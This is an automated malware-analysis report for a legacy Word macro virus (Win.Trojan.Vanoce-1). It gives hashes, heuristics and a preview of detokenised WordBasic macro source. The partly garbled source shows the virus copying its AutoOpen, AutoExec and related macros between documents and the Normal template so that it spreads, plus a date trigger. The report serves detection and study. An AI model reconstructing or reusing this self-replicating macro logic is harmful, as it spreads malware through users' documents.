Win.Trojan.Vanoce-1 — Office (OLE) malware analysis

Static analysis result for SHA-256 f3b53bec4e543977…

MALICIOUS

Office (OLE)

8.5 KB First seen: 2012-06-14
MD5: 6c72d5c639805bd0e2f4b265cba31716 SHA-1: 08fe86976fe74d35d0542f8eb743947643f3a034 SHA-256: f3b53bec4e543977a9927ac406f31c6b64dc409eb997b39397cfb1e86720a9ad
102 Risk Score

Malware Insights

Win.Trojan.Vanoce-1 · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic

The sample exhibits characteristics of a legacy macro virus, specifically identified by the 'RSN MACRO VIRUS' marker and the ClamAV detection name 'Win.Trojan.Vanoce-1'. The presence of WordBasic macro virus markers and the explicit mention of 'RSN MACRO VIRUS' in the document body strongly indicate its nature as a macro-based threat.

Heuristics 3

  • ClamAV: Win.Trojan.Vanoce-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Win.Trojan.Vanoce-1
  • Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS
    OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.
  • Recovered legacy WordBasic macro source info OLE_LEGACY_WORDBASIC_MACRO_SOURCE
    The Word 6.0/95 document stores tokenised WordBasic macros in the WordDocument stream rather than as a modern VBA project, so VBA source extraction cannot see them. The macro source was detokenised and carved so its identifiers, string literals (file paths, URLs, registry keys, message text) and comments are available for review and signature scanning.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
wordbasic_macros.txt wordbasic-macro analyzer.wordbasic (detokenised Word 6/95 WordBasic macro source) 2152 bytes
SHA-256: 9d2de680dea715b650fcda40f9c48649ef987cde54c402efb758aab54678d321
Preview script
First 1,000 lines of the extracted script
=   - 29551 19827 21605 29793 =
MAIN
    ts = "16", .Underline = 0, .Color = 0, .Strikethrough = 0, .Superscript = 0, .Subscript = 0, .Hidden = 0, .Sma 17260     ,   17260     ,   g = "0 b.", .Position = "0 b.", .Kerning = 0, .KerningMin = "", .Tab = "0", .Font = "Times New dk<Roman CE", . 8292   ,   25449     ,   28265     ,  
      +     +     +     +  
datum$ = @cmd8008 @cmd800c , @cmd8003 @cmd800c 2
datum$ = "24.12."
@cmd802b 8425        
jmeno$ = @cmd803b
@cmd80c2 "Normal:AutoOpen" , jmeno$ = ":Pismo"
@cmd80c2 "Normal:Pismo" , jmeno$ = ":AutoOpenA"
@cmd80c2 "Normal:AutoOpenA" , jmeno$ = ":AutoOpen"
@cmd80c2 "Normal:AutoClose" , jmeno$ = ":AutoClose"
@cmd80c2 "Normal:AutoExec" , jmeno$ = ":AutoExec"
@cmd80c2 "Normal:ToolsMacro" , jmeno$ = ":ToolsMacro"
@cmd80c2 "Normal:FileTemplates" , jmeno$ = ":FileTemplates"
MAIN
    ts = "16", .Underline = 0, .Color = 0, .Strikethrough = 0, .Superscript = 0, .Subscript = 0, .Hidden = 0, .Sma 17260     ,   17260     ,   g = "0 b.", .Position = "0 b.", .Kerning = 0, .KerningMin = "", .Tab = "0", .Font = "Times New dk<Roman CE", . 8292   ,   25449     ,   28265     ,  
      +     +     +     +  
datum$ = @cmd8008 @cmd800c , @cmd8003 @cmd800c 2
datum$ = "24.12."
@cmd802b 8425        
MAIN
jmeno$ = @cmd803b
@cmd80c2 jmeno$ = ":Pismo" , "Normal:AutoOpen"
@cmd80c2 jmeno$ = ":AutoOpenA" , "Normal:Pismo"
@cmd80c2 jmeno$ = ":AutoOpen" , "Normal:AutoOpenA"
@cmd80c2 jmeno$ = ":AutoClose" , "Normal:AutoClose"
@cmd80c2 jmeno$ = ":AutoExec" , "Normal:AutoExec"
@cmd80c2 jmeno$ = ":ToolsMacro" , "Normal:ToolsMacro"
@cmd80c2 jmeno$ = ":FileTemplates" , "Normal:FileTemplates"
MAIN
jmeno$ = @cmd8025
c$ = @cmd800a jmeno$ , @cmd8003 jmeno$ 3 , 1
c$ = "." @cmd0054 = jmeno$ , = 1
MAIN
    ts = "16", .Underline = 0, .Color = 0, .Strikethrough = 0, .Superscript = 0, .Subscript = 0, .Hidden = 0, .Sma 17260     ,   17260     ,   g = "0 b.", .Position = "0 b.", .Kerning = 0, .KerningMin = "", .Tab = "0", .Font = "Times New dk<Roman CE", . 8292   ,   25449     ,   28265     ,  
      +     +     +     +  
datum$ = @cmd8008 @cmd800c , @cmd8003 @cmd800c 2
datum$ = "24.12."
@cmd802b 8425        
MAIN
MAIN

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